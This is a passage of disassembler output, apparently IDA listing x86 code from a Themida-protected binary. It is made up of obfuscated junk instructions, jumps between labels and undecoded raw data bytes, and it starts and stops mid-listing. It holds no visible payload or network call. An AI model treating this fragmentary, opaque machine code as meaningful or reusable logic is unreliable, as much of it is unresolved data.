loc_54BF18:				; CODE XREF: Themida_:0054C879j
		add	edx, ebx
		jmp	loc_549854
; ---------------------------------------------------------------------------


loc_54BF1F:				; CODE XREF: Themida_:00547B8Fj
		add	esp, 4
		push	ebx
		mov	ebx, 0B92D66h
		sub	ebx, 2CBF3528h
		push	ebx
		push	ecx
		pop	ebx
		pop	ecx
		inc	ecx
		push	ebx
		jmp	loc_54E0CC
; ---------------------------------------------------------------------------


loc_54BF39:				; CODE XREF: Themida_:00547F89j
		push	edi
		mov	edi, 49646A5Eh
		jmp	loc_545CD9
; ---------------------------------------------------------------------------
		dd 66FDC780h, 0E998B652h, 0FFFFE8DAh
; ---------------------------------------------------------------------------


loc_54BF50:				; CODE XREF: Themida_:0054DAE7j
		sub	esp, 4
		jmp	loc_54950B
; ---------------------------------------------------------------------------
		db 66h
		dd 81240C8Bh, 4ECh, 240C8900h, 6B2F68h,	48F5400h, 0A45AE924h
		dd 0EA80FFFFh, 6DEA80B5h, 281FC280h, 40E95AD0h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54BF87:				; CODE XREF: Themida_:0054D4B0j
		push	esi
		mov	esi, esp
		jmp	loc_54E016
; ---------------------------------------------------------------------------
		db 89h
		dd 89E9240Ch
		db 7Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BF97:				; CODE XREF: Themida_:0054F798j
		add	ecx, 5A5F496Dh
		jmp	loc_54FB52
; ---------------------------------------------------------------------------
		dw 1489h
		dd 0E9545224h, 0FFFFC5BDh, 19606850h, 0E9586ED0h, 1BF3h
		dd 0E9241C89h, 0FFFF882Bh, 45EB8158h, 29BA93F6h, 241C8BDEh
		dd 104C483h, 24348BF5h,	8704C483h, 248B242Ch, 0C83B6624h
		dd 7A3AE99Ch, 0C483FFFFh, 34C4E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54BFEE:				; CODE XREF: Themida_:00545B21j
		push	eax
		jmp	loc_54D230
; ---------------------------------------------------------------------------


loc_54BFF4:				; CODE XREF: Themida_:0054E022j
		pop	esp
		sub	esp, 4
		jmp	loc_54C093
; ---------------------------------------------------------------------------
		dd 2B95152h, 89000000h,	0D50159CAh, 242C875Ah, 6624248Bh
		dd 9C240429h, 0FFE102E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C01D:				; CODE XREF: Themida_:0054DF68j
		push	ebp
		jmp	loc_54BADC
; ---------------------------------------------------------------------------
		db 0B8h
		dd 63A9383Ah, 0C137B10Dh, 5BFC2D5Ah, 1C2D2CF7h,	0E92AC914h
		dd 0FFFFE957h, 68D6F658h, 1732h, 0B7241C89h, 0D493E9DFh
		dd 0CDE9FFFFh, 81FFFF79h, 63555DEBh, 4EC8147h, 89000000h
		dd 47B82404h, 81327A61h, 0CE446EC2h, 0E9C20121h, 0FFFF80D7h
		dd 30B0E951h, 34FF0000h, 9EB4E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		jmp	loc_546792
; ---------------------------------------------------------------------------


loc_54C093:				; CODE XREF: Themida_:0054BFFBj
		mov	[esp], esi
		mov	esi, 10F64A1Ch
		add	eax, esi
		jmp	loc_54F342
; ---------------------------------------------------------------------------


loc_54C0A2:				; CODE XREF: Themida_:00543AACj
		push	ebp
		push	edi
		mov	edi, 3B3B6D7Dh
		inc	edi
		shr	edi, 6
		dec	edi
		add	edi, 356375D1h
		jmp	loc_5498AA
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 5Dh
		dd 56078315h, 172967BEh, 0E9F53144h, 0FFFFA4DBh, 8B240489h
		dd 89572404h, 4C781E7h,	68000000h, 2A38h, 50240C89h, 0AE75F8B8h
		dd 4C8D2D17h, 0D1E91685h, 59FFFFF5h, 0FFC0BAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C0F9:				; CODE XREF: Themida_:0054A7E3j
		pop	ebp
		shl	edx, 2
		push	edx
		xchg	edx, [esp]
		not	edx
		jmp	loc_54CA54
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C4832404h, 0E3895304h, 4C381h, 0EB830000h
		dd 0CD27E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C122:				; CODE XREF: Themida_:0054F354j
		add	esp, 4
		push	4E07h
		mov	[esp], eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp], edx
		push	4
		pop	edx
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		or	eax, eax
		jnz	loc_549FEB
		push	ecx
		push	1214h
		jmp	loc_54DEE3
; ---------------------------------------------------------------------------
		dd 592434FFh, 0FF98B2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C171:				; CODE XREF: Themida_:0054959Dj
		mov	ecx, 55327DD8h
		jmp	loc_547380
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF78A0h, 24048B66h, 65E95451h, 0B2FFFFD6h, 42C28002h
		dd 8033CA80h, 0C32C02C2h, 2BE9D028h, 0E9FFFF95h, 0FFFF787Ch
		dd 376163BAh, 8BD10123h, 0C4832414h, 81F10104h,	4ECh, 24048900h
		dd 0AC58E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C1C2:				; CODE XREF: Themida_:00548E02j
		mov	edx, 13687D56h
		neg	edx
		jmp	loc_54E171
; ---------------------------------------------------------------------------
		dw 8F54h
		dd 39E92404h, 81FFFFE5h, 4C4h, 0B281E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C1E2:				; CODE XREF: Themida_:00547AD9j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	ebx, 15F1837Eh
		xor	eax, ebx
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edi
		jmp	loc_544954
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 4C481h, 0DCE90000h, 59000003h, 5E168h, 24048900h, 0FF77F7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C229:				; CODE XREF: Themida_:00545A5Fj
		mov	[esp], ecx
		push	0CE4h
		mov	[esp], esi
		jmp	loc_54E705
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 2Fh
		dd 814E8B6Fh, 0EF17BFC5h, 9CC4E946h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C24A:				; CODE XREF: Themida_:00544F0Ej
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_54ADB3
; ---------------------------------------------------------------------------
		db 68h,	4Ah, 2Dh
		dd 4890000h, 0EBFE924h,	83AD0000h, 0F00207Fh, 0FF7D0D84h
		dd 0D7B850FFh, 1393A45h, 2434FFC6h
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		jmp	loc_545BC0
; ---------------------------------------------------------------------------
		db 0ACh, 66h, 68h
		dd 89E964C6h, 81FFFF8Ah, 2A76B6EEh, 5EF2091Dh, 81EAD14Ah
		dd 0F5C00F2h, 0E9D62957h, 1A2h,	0CE022668h, 9CE95B2Ch
		dd 87FFFFE5h, 0E95C2404h, 0FFFF775Ch
; ---------------------------------------------------------------------------


loc_54C2C4:				; CODE XREF: Themida_:0054F72Dj
		add	esp, 4
		and	eax, edi
		pop	edi
		or	eax, eax
		jz	loc_546E67
		push	7A2h
		mov	[esp], ebx
		jmp	loc_54CD36
; ---------------------------------------------------------------------------
		dw 0CE81h
		dd 64AE4000h, 0FFD70AE9h, 772EE9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C2F2:				; CODE XREF: Themida_:00545FC4j
		mov	esi, 55B66916h
		inc	esi
		jmp	loc_548ED8
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 0C82256BFh, 0C7814761h, 0C91054AAh, 0FFF7A3E9h, 0B45066FFh
		dd 66E6887Eh, 9513E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C31E:				; CODE XREF: Themida_:0054C4D8j
		pop	esi
		sub	esi, 0FFFFFFFFh
		neg	esi
		push	ebx
		jmp	loc_54DBD3
; ---------------------------------------------------------------------------
		db 80h,	0EDh, 54h
		dd 0C8BE888h, 4C48324h,	50519B04h, 0C4FE61B4h, 886DEC80h
		dd 0DE958E1h, 2900002Ch, 0D8295AD0h, 0FFF40DE9h, 24248BFFh
		dd 0E99CC884h, 0FFFF76C0h, 0BA52505Bh, 1D731E7Dh, 1FC9E9h
		db 0
; ---------------------------------------------------------------------------


loc_54C36D:				; CODE XREF: Themida_:00546444j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 165F8C75h
		sub	edi, ecx
		pop	ecx
		sub	ebx, edi
		jmp	loc_54956E
; ---------------------------------------------------------------------------


loc_54C383:				; CODE XREF: Themida_:0054F938j
		mov	ecx, [esp]
		jmp	loc_54A474
; ---------------------------------------------------------------------------
		db 0B8h
		dd 37510964h, 2DD0F748h, 0C8AEF698h, 0DDE9C701h, 0FFFFFF93h
		dd 34FF2434h, 0E9575824h, 0FFFF8A0Ah, 1C7668h, 242C8900h
		dd 0E45DDFBDh, 24E58132h, 81306238h, 0CE073DCDh, 20FE96Dh
		dd 14300000h, 24143224h, 66241430h, 66181A68h, 0E9240489h
		dd 0FFFFA8F1h, 0E9243C89h, 0FFFFB7ACh
; ---------------------------------------------------------------------------


loc_54C3E8:				; CODE XREF: Themida_:0054B6A5j
		push	esi
		mov	esi, esp
		jmp	loc_54F65D
; ---------------------------------------------------------------------------
		dd 240C8B66h, 68E28952h, 354Dh,	52243C89h, 4DDE9h, 59CD0100h
		dd 200968h, 24048900h, 4B8h, 0CB9EE900h, 455FFFFFh, 0E9E78957h
		dd 0FFFFD9A8h, 4C1815Eh, 87000000h, 0EE9240Ch, 8100002Bh
		dd 5D9A14C2h, 0A30EE9DAh, 0C381FFFFh, 27B2FC3h,	30E9BF57h
		dd 0FB29C576h, 0D8A9E95Fh, 295AFFFFh, 24348BF0h, 5004C483h
		dd 50656855h, 2C8B22E9h, 4C48324h, 69C9ED81h, 0C5816C73h
		dd 89E4946Fh, 58E9E889h, 8BFFFF98h, 5EE92424h
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C483:				; CODE XREF: Themida_:0054BE06j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		pop	ebx
		jmp	loc_543A20
; ---------------------------------------------------------------------------
		dd 0E9028F64h, 0FFFF7588h, 2104F181h, 0B850418Eh, 8FE27709h
		dd 0FFBFA3E9h, 0EB0058FFh, 0C0B60F59h, 6887048Dh, 59CDh
		dd 0E9240489h, 0FFFF7560h, 75CEBA52h, 0CA814714h, 7AA66A1Fh
		dd 0FFF2F2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C4D1:				; CODE XREF: Themida_:0054AECBj
		push	edx
		push	esi
		push	5C4C32A8h
		jmp	loc_54C31E
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aHG		db '$h(g',0
		align 2
aIH		db '‰,$h¶)',0
		align 2
		dw 2489h
		dd 24048124h, 4, 8B2434FFh, 0C483242Ch,	4C48304h, 0D9CE9h
		dd 0D3F58100h, 0E9039D8Bh, 0FFFFB69Ch
; ---------------------------------------------------------------------------


loc_54C514:				; CODE XREF: Themida_:00545C5Dj
		push	edi
		mov	edi, 76022FE3h
		or	edi, 4544444Dh
		sub	edi, 73064BAAh
		sub	esi, edi
		jmp	loc_549A81
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 6659669Dh, 9C2414D3h, 0FF74E3E9h, 0E95453FFh, 0FFFFA66Eh
; ---------------------------------------------------------------------------


loc_54C544:				; CODE XREF: Themida_:00547F6Fj
		sub	dh, al
		pop	ax
		xor	al, dh
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54D6B6
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0C57EE9D0h, 0F480FFFFh, 9677E9CFh, 0D501FFFFh, 0E92434FFh
		dd 0FFFF9DF8h, 0B7241C89h, 2BEF8027h, 0C7FED7F6h, 0FFEA1DE9h
		dd 2434FFFFh, 0FF2434FFh, 81582434h, 4C4h, 4C48300h, 0E904EC83h
		dd 0FFFFCB0Dh, 0C181C101h, 1A5861CBh, 0DCC1E953h, 7DBAFFFFh
		dd 317D1B2Dh, 44E959CAh, 81FFFFA3h, 4C4h, 4EC8100h, 89000000h
		dd 4CE92434h, 5C00000Fh, 5B240489h, 0FFCA6BE9h,	4FB951FFh
		dd 0E90A6969h, 0B91h
; ---------------------------------------------------------------------------


loc_54C5E4:				; CODE XREF: Themida_:00548B24j
		pop	esp
		jmp	loc_545A59
; ---------------------------------------------------------------------------
		dw 0A9B8h
		dd 0C10ABB6Ch, 8BE902E8h, 57FFFF84h, 4150FC68h,	0E01E929h
		dd 89660000h, 0FF662414h, 66022474h, 48F665Ah, 0CBFDE924h
		dd 1C8BFFFFh, 4C48124h,	83000000h, 0F9E904C4h
		db 73h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C627:				; CODE XREF: Themida_:005491B9j
		mov	edi, [esp]
		add	esp, 4
		mov	edx, ebx
		pop	ebx
		xchg	edi, edx
		dec	edi
		jmp	loc_5495A2
; ---------------------------------------------------------------------------


loc_54C638:				; CODE XREF: Themida_:005445C4j
		push	2F38764Dh
		pop	ebx
		add	ebx, 0EB26F81Ah
		mov	edi, ebx
		pop	ebx
		push	edi
		pop	ebx
		mov	edi, [esp]
		push	ecx
		jmp	loc_546A4A
; ---------------------------------------------------------------------------
		dw 4F09h
		dd 0C5E9591Ch, 50FFFF73h, 114411B8h, 58C52930h,	0C15DEA29h
		dd 0CA8107EAh, 0EE547C6h, 0FFAFB0E9h, 55C2BAFFh, 0BB532BFFh
		dd 2F976AD2h, 5C2AE381h, 0C3811D13h, 49675EE3h,	0FFA4D0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C691:				; CODE XREF: Themida_:0054F70Dj
		pop	eax
		dec	ecx
		add	ecx, 0EFAB345h
		jmp	loc_544A47
; ---------------------------------------------------------------------------


loc_54C69E:				; CODE XREF: Themida_:0054877Cj
		pop	eax
		add	esp, 4
		jmp	loc_543A20
; ---------------------------------------------------------------------------
		dw 0F75Ah
		dd 6FC581DDh, 0E97EF73Fh, 538h,	9C48E9ACh, 401FFFFh, 24048124h
		dd 7B6D59E6h, 0B242C81h, 0E94E7338h, 0FFFFD8BFh, 8C6F5F2Dh
		dd 0E9F02929h, 0FFFFCC0Dh
; ---------------------------------------------------------------------------


loc_54C6E0:				; CODE XREF: Themida_:005465A2j
		pop	ebx
		push	ebp
		jmp	loc_544280
; ---------------------------------------------------------------------------
		db 58h
		dd 5EADEB81h, 0EB8139D8h, 57C3704Ah, 0EC81C301h, 4, 0BA241489h
		dd 7DEA5E0Fh, 0EA81DAF7h, 7A520C3h, 38E8CA81h, 0F5E94271h
		db 74h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C717:				; CODE XREF: Themida_:00544A24j
		pop	edi
		sub	edx, 177B342Eh
		xor	ecx, edx
		pop	edx
		jmp	loc_548AC0
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 292901C6h, 0E9F10136h, 15FCh, 8B2434FFh, 0C4812404h
		dd 4, 0FFE28FE9h, 4E0C1FFh, 12Dh, 222B0500h, 42D705Eh
		dd 29D5999Fh, 8EDFE9C6h, 0D188FFFFh, 0FF8A46E9h, 5BF988FFh
		dd 0C180D1F6h, 0FEC9FE26h, 2E1C0C9h, 0B1F180h, 0AC7FE9C8h
		dd 4481FFFFh, 24890824h, 75E900DDh, 5400002Dh, 0FF788BE9h
		dd 6B2BBFFh, 81430FE0h,	1FF951C3h, 0E9D901F0h, 0FFFF88BFh
		dd 6128CB9h, 59C80116h,	0DECE9h, 294BD00h, 0EF290340h
		dd 6DD5685Dh, 2C890000h, 0F397BD24h, 0C781C9FFh, 1F61ED4h
		dd 0EF81EF29h, 1F61ED4h, 5FF8015Dh, 1B2F6856h, 1C890000h
		dd 42C9BB24h, 0DE89389Ch, 5B2434FFh, 0FFBD2EE9h, 0E9C188FFh
		dd 0FFFFB570h, 2404215Ch, 721EE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C802:				; CODE XREF: Themida_:0054721Dj
		xor	eax, 6A825E78h
		jmp	loc_54F67F
; ---------------------------------------------------------------------------
		dd 5E08950h, 4,	405h, 4EC8100h,	89000000h, 74FF2404h, 48B0424h
		dd 0AC3EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C82E:				; CODE XREF: Themida_:00543B79j
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		push	edx
		jmp	loc_54833E
; ---------------------------------------------------------------------------
		dw 0D7F6h
		dd 0FF931BE9h, 242C89FFh, 2434FF54h, 0FFDCA7E9h, 48B66FFh
		dd 1A6B6824h, 2C890000h, 81E58924h, 4C5h, 835AE900h, 0E789FFFFh
		dd 465DBA52h, 0D8E924D0h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C873:				; CODE XREF: Themida_:00548FCEj
		sub	ebx, 49BD1D47h
		jmp	loc_54BF18
; ---------------------------------------------------------------------------
		dw 0E955h
		dd 0FFFFCAFDh, 0C380C300h, 69EB80B1h, 31FB68h, 240C8900h
		dd 8061B450h, 0E480AAE4h, 61F48055h, 0E902ECC0h, 0FFFFACA3h
; ---------------------------------------------------------------------------


loc_54C8A8:				; CODE XREF: Themida_:00545E07j
		mov	ecx, ebx
		pop	ebx
		jmp	loc_5480D7
; ---------------------------------------------------------------------------


loc_54C8B0:				; CODE XREF: Themida_:0054D250j
		dec	ecx
		inc	ecx
		dec	ecx
		sub	ecx, 0D4232BB4h
		add	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_54534A
; ---------------------------------------------------------------------------
		db 59h
		dd 8124348Bh, 4C4h, 0B8F68100h,	0E97B461Ch, 0FFFFB4A6h
		dd 905353BBh, 8B83E94Ch, 0E3BAFFFFh, 0BF688450h, 36C26C12h
		dd 0C3E9D731h, 66FFFFDCh, 0E9E8285Bh, 0FFFFC9A7h, 9D1C77FFh
		dd 4105866h, 15E99C24h,	2CFFFF71h, 0B75351FFh, 0FE4FE937h
		dd 5E9FFFFh, 8BFFFF71h,	0E9562424h, 0FFFFC15Ch,	60E9C629h
		dd 0FFFFFFD5h, 0E4E92434h, 51FFFFDAh, 0FFFE6BE9h, 0F6E95CFFh
		dd 6600001Dh, 5302B60Fh, 5155E389h, 84207FB9h, 7637E924h
		dd 0E289FFFFh, 0FFACDEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C959:				; CODE XREF: Themida_:0054AAA4j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_54E44B
; ---------------------------------------------------------------------------


loc_54C978:				; CODE XREF: Themida_:0054F5CAj
		mov	eax, 2B8448C0h
		neg	eax
		xor	eax, 8D2CF59Ch
		and	ecx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_54F873
; ---------------------------------------------------------------------------
		align 2
aIysp		db 'ëYép',0
		align 4
		db 0
; ---------------------------------------------------------------------------


loc_54C99D:				; CODE XREF: Themida_:00545EC6j
		xchg	eax, [esp]
		dec	eax
		jmp	loc_549714
; ---------------------------------------------------------------------------
		dw 72B2h
		dd 1FE9D328h, 89FFFF81h, 0BB53243Ch, 4,	15BDF89h, 0C5815FFDh
		dd 4, 8B242C87h, 0C8852424h, 704EE99Ch,	0EF80FFFFh, 0E9D70088h
		dd 0FFFFF4B1h, 31241C33h, 1C33241Ch, 25E95C24h,	5EFFFF7Eh
		dd 8B240487h, 4892424h,	48B5424h, 4C48124h, 51000000h
		dd 984DDEB9h, 1C18352h,	0FF8498E9h, 50B252FFh, 8BE95066h
		dd 81FFFFA4h, 4C4h, 0A6E95200h,	81FFFFF1h, 4C1h, 240C8700h
		dd 4EC815Ch, 89000000h,	0F1B22414h, 4EC81h, 4890000h, 80E9B424h
		dd 0F480BACCh, 58E20850h, 0E905E2C0h, 0FFFFB17Bh
; ---------------------------------------------------------------------------


loc_54CA54:				; CODE XREF: Themida_:0054C103j
		xchg	edx, [esp]
		pop	edx
		xor	edx, 0E9EB199Fh
		and	ecx, edx
		pop	edx
		shr	ecx, 7
		sub	esp, 4
		jmp	loc_547206
; ---------------------------------------------------------------------------
		db 53h
		dd 0FFBDCCE9h, 246C01FFh, 242C8B04h, 4C481h, 0C8B0000h
		dd 4C48324h, 4C181h, 0B8500000h, 2, 36DEC181h, 0C10176A0h
		dd 0FFF20DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54CAA1:				; CODE XREF: Themida_:00543E2Aj
		and	eax, edx
		jmp	loc_546AC7
; ---------------------------------------------------------------------------
		dd 0E924048Bh, 0FFFFA7DFh, 1B9h, 0FFC82100h, 34FF2434h
		dd 0D068E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CAC2:				; CODE XREF: Themida_:005486CAj
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		jmp	loc_543C87
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 0CDh
		dd 5BFFFFC9h, 3B20EB81h, 0DE0168E8h, 56241C8Bh,	0C681E689h
		dd 4, 8704C683h, 525C2434h, 4BAh, 0E9D60100h, 10A6h, 8324148Bh
		dd 0BD5504C4h, 76443081h, 0C105E5C1h, 0BB5308EDh, 569615Ch
		dd 7352CB81h, 2E95FF2h
		db 89h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CB1F:				; CODE XREF: Themida_:0054E921j
		push	eax
		mov	eax, 0BB97F93Ch
		xor	esi, eax
		jmp	loc_548BAC
; ---------------------------------------------------------------------------
		dd 0E9241C8Bh, 0FFFF99A9h, 0BA52F001h, 501B7F4Ah, 318E9h
		db 0
; ---------------------------------------------------------------------------


loc_54CB41:				; CODE XREF: Themida_:0054E011j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_548D94
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0FFh
		dd 4BFFFFFFh, 1826EB81h, 814B2928h, 0A123BDF3h,	5BD921D2h
		dd 0FF82F1E9h, 0AFE95AFFh, 0FFFF95h, 3EE958C2h,	8100001Eh
		dd 531F76C1h, 24148B41h, 0FDC4E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CB8E:				; CODE XREF: Themida_:0054A8D8j
		xor	ebp, 666759D2h
		push	ecx
		mov	ecx, 794A1F53h
		sub	ecx, 20542D52h
		add	ecx, 6E4F2770h
		push	eax
		mov	eax, 51983AE7h
		shl	eax, 5
		add	eax, 38CC0CD3h
		shr	eax, 3
		add	eax, 6EADD5F7h
		jmp	loc_54AD50
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 0
		dd 142050Ah, 2434FFC1h,	4C48358h, 0FFD5F9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54CBD5:				; CODE XREF: Themida_:0054A634j
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_546AEB
; ---------------------------------------------------------------------------
		dd 0E6464DBEh, 0FFF00168h, 0E95E2434h, 1A3Ah, 535DE901h
		dd 4BBh, 68E98100h, 13F6975h, 68C181D9h, 5B3F6975h, 0E9240C87h
		dd 0FFFFC344h, 4C281h, 0AFE90000h, 83FFFF84h, 0C68104C4h
		dd 4, 5C243487h, 6968D231h, 89000074h, 34FF241Ch, 24048B24h
		dd 8304C483h, 0C8904ECh, 4EC8124h, 89000000h, 0BE562424h
		dd 4, 4247401h,	0FFAF69E9h, 4EE953FFh
		db 80h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CC5F:				; CODE XREF: Themida_:00549D1Ej
		sub	ebp, 2C703EECh
		add	ebp, ecx
		add	ebp, 2C703EECh
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	121Dh
		mov	[esp], ebp
		jmp	loc_54E02D
; ---------------------------------------------------------------------------
		dw 0C15Ah
		dd 0EEC103EEh, 34BA5204h, 0C13A4B07h, 0E28108EAh, 61CF5D46h
		dd 490AEA81h, 0CA8176F3h, 2DA46C9Eh, 0FFC673E9h, 2434FFFFh
		dd 4C4815Ah, 4000000h, 339E933h, 0F7660000h, 644768F9h
		dd 1C890000h, 1C8B5424h, 7E72E924h, 0C89FFFFh, 91E95224h
		dd 89000008h, 165CE9E1h, 0EB830000h, 75EB8101h,	81310007h
		dd 38560DF3h, 0E9D8011Ch, 0FFFF7D60h, 4B850h, 0C7890000h
		dd 0E9BE5658h, 0E9020E2Bh, 1C61h, 4E01E181h, 0E1C11E36h
		dd 0B1A5E907h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CD1A:				; CODE XREF: Themida_:0054DEF2j
		mov	ebx, eax
		pop	eax
		mov	ecx, ebx
		jmp	loc_54E30C
; ---------------------------------------------------------------------------
		dd 4B4D3605h, 4566869h,	0C890000h, 7DC6E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CD36:				; CODE XREF: Themida_:0054C2DDj
		push	eax
		push	esi
		mov	esi, 13DC495Ch
		xor	esi, 258C545Dh
		not	esi
		dec	esi
		jmp	loc_549A73
; ---------------------------------------------------------------------------


loc_54CD4B:				; CODE XREF: Themida_:00543EA6j
		pop	ebx
		sub	ebx, 36A91B3Bh
		pop	eax
		sub	ebx, 0A5F2047h
		add	ebx, 4E0E6C0Bh
		add	ebx, edi
		sub	ebx, 4E0E6C0Bh
		add	ebx, 0A5F2047h
		mov	ecx, [ebx]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_5484CE
; ---------------------------------------------------------------------------
		dw 8358h
		dd 30E904C4h
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54CD87:				; CODE XREF: Themida_:00549A92j
		add	ecx, esi
		jmp	loc_547AD8
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 0F71FBBFFh, 0FFF8B9E9h, 243433FFh, 0FFFB7AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54CDA1:				; CODE XREF: Themida_:005493A7j
		add	ecx, 0F68B3F4Eh
		mov	edx, ecx
		pop	ecx
		add	edx, 2AFD48C2h
		add	edx, edi
		sub	edx, 2AFD48C2h
		sub	esp, 4
		jmp	loc_54B9D7
; ---------------------------------------------------------------------------
		db 55h
		dd 468h, 242C8B00h, 0FF9D69E9h,	3070B4FFh, 22E958E1h, 0E9FFFF83h
		dd 0FFFF6C40h, 2414F756h, 0FFF93DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54CDE9:				; CODE XREF: Themida_:00544E5Dj
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		xor	[edi+24h], ecx
		push	edx
		jmp	loc_546A33
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 4C48104h, 0E9000000h, 7A8h
; ---------------------------------------------------------------------------


loc_54CE10:				; CODE XREF: Themida_:005484C9j
		add	edx, 2883323Fh
		jmp	loc_544CD8
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 6BFAE900h, 0C783FFFFh,	0D03EE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CE2E:				; CODE XREF: Themida_:0054F2A3j
		mov	edx, 4
		add	eax, edx
		pop	edx
		push	3ED8h
		jmp	loc_549CF3
; ---------------------------------------------------------------------------


loc_54CE40:				; CODE XREF: Themida_:00549D60j
		mov	eax, esp
		add	eax, 4
		jmp	loc_54EA24
; ---------------------------------------------------------------------------
		dd 0BA52F001h, 6DA86463h, 0FFB3D7E9h, 5AD029FFh, 8124348Bh
		dd 4C4h, 44BD5500h, 0C163362Ch,	0E5C107EDh, 94F58108h
		dd 56D43633h, 6045BEBEh, 0A55FE957h, 0D601FFFFh, 2ABDE9h
		dd 2434FF00h, 8428E95Fh, 248BFFFFh, 2404D224h, 6B82E99Ch
		dd 0B951FFFFh, 7B461CB8h, 4244C31h, 0FFFA16E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54CEAD:				; CODE XREF: Themida_:00544736j
		xchg	eax, edx
		xchg	edx, [esp]
		pop	ebp
		xor	[esp], ebp
		xor	ebp, [esp]
		xor	[esp], ebp
		mov	eax, [esp]
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_548B18
; ---------------------------------------------------------------------------
		dw 0A8B6h
		dd 86A8EE80h, 86CBFEDEh, 0C2B450DEh, 2C54E9h, 7AEB8000h
		dd 0C380D300h, 2434FF7Ah, 17E7E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54CEEA:				; CODE XREF: Themida_:0054E140j
		mov	edx, 3FA735E1h
		sub	edx, 49B63A5Fh
		jmp	loc_547190
; ---------------------------------------------------------------------------
		dw 487h
		dd 0C895C24h, 68685624h, 0E97B5C1Eh, 0FFFFBD0Dh, 716768h
		dd 241C8900h, 0FB551268h, 0C3815B30h, 554D64F6h, 45FCC381h
		dd 0C18179B7h, 39A66464h, 0BAE9D901h, 0F7FFFF92h, 0C28142DAh
